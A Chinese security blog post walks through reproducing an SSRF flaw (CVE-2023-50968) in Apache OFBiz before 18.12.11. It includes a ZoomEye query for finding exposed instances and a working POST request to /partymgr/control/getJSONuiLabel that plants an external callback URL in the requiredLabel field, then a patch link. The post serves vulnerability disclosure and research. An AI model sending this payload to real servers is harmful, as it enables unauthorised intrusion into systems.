【成功复现】Apache OFBiz服务器端请求伪造漏洞(CVE-2023-50968)

admin 2024年1月26日10:12:08评论89 views字数 851阅读2分50秒阅读模式

网安引领时代,弥天点亮未来   

【成功复现】Apache OFBiz服务器端请求伪造漏洞(CVE-2023-50968)
0x00写在前面

      本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!

【成功复现】Apache OFBiz服务器端请求伪造漏洞(CVE-2023-50968)
0x01漏洞介绍

Apache OFBiz是美国阿帕奇(Apache)基金会的一套企业资源计划(ERP)系统。该系统提供了一整套基于Java的Web应用程序组件和工具。

Apache OFBiz 18.12.11之前版本存在代码问题漏洞,该漏洞源于用户可以在未经授权的情况下操作相同的uri来实现服务器端请求伪造攻击。

【成功复现】Apache OFBiz服务器端请求伪造漏洞(CVE-2023-50968)
0x02影响版本

Apache Ofbiz < 18.12.11

【成功复现】Apache OFBiz服务器端请求伪造漏洞(CVE-2023-50968)

【成功复现】Apache OFBiz服务器端请求伪造漏洞(CVE-2023-50968)
0x03漏洞复现
  1. zoomeye语法

  2. zoomeye语法 app:"Apache OFBiz"
  3. 【成功复现】Apache OFBiz服务器端请求伪造漏洞(CVE-2023-50968)

1.访问漏洞环境【成功复现】Apache OFBiz服务器端请求伪造漏洞(CVE-2023-50968)

2.对漏洞进行复现

 POC (POST)

漏洞复现

POST /partymgr/control/getJSONuiLabel HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36Connection: closeContent-Length: 81Content-Type: application/x-www-form-urlencodedAccept-Encoding: gziprequiredLabel={"http://edfhbfzyhp.dgrh3.cn/api":"THr1Hh"}

        执行payload

【成功复现】Apache OFBiz服务器端请求伪造漏洞(CVE-2023-50968)

测试DNSlog(漏洞存在)

【成功复现】Apache OFBiz服务器端请求伪造漏洞(CVE-2023-50968)

3.nuclei工具测试(漏洞存在)

【成功复现】Apache OFBiz服务器端请求伪造漏洞(CVE-2023-50968)

【成功复现】Apache OFBiz服务器端请求伪造漏洞(CVE-2023-50968)
0x04修复建议

目前厂商已发布升级补丁以修复漏洞,补丁获取链接:

https://lists.apache.org/thread/x5now4bk3llwf3k58kl96qvtjyxwp43q

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月26日10:12:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【成功复现】Apache OFBiz服务器端请求伪造漏洞(CVE-2023-50968)https://cn-sec.com/archives/2429655.html

发表评论

匿名网友 填写信息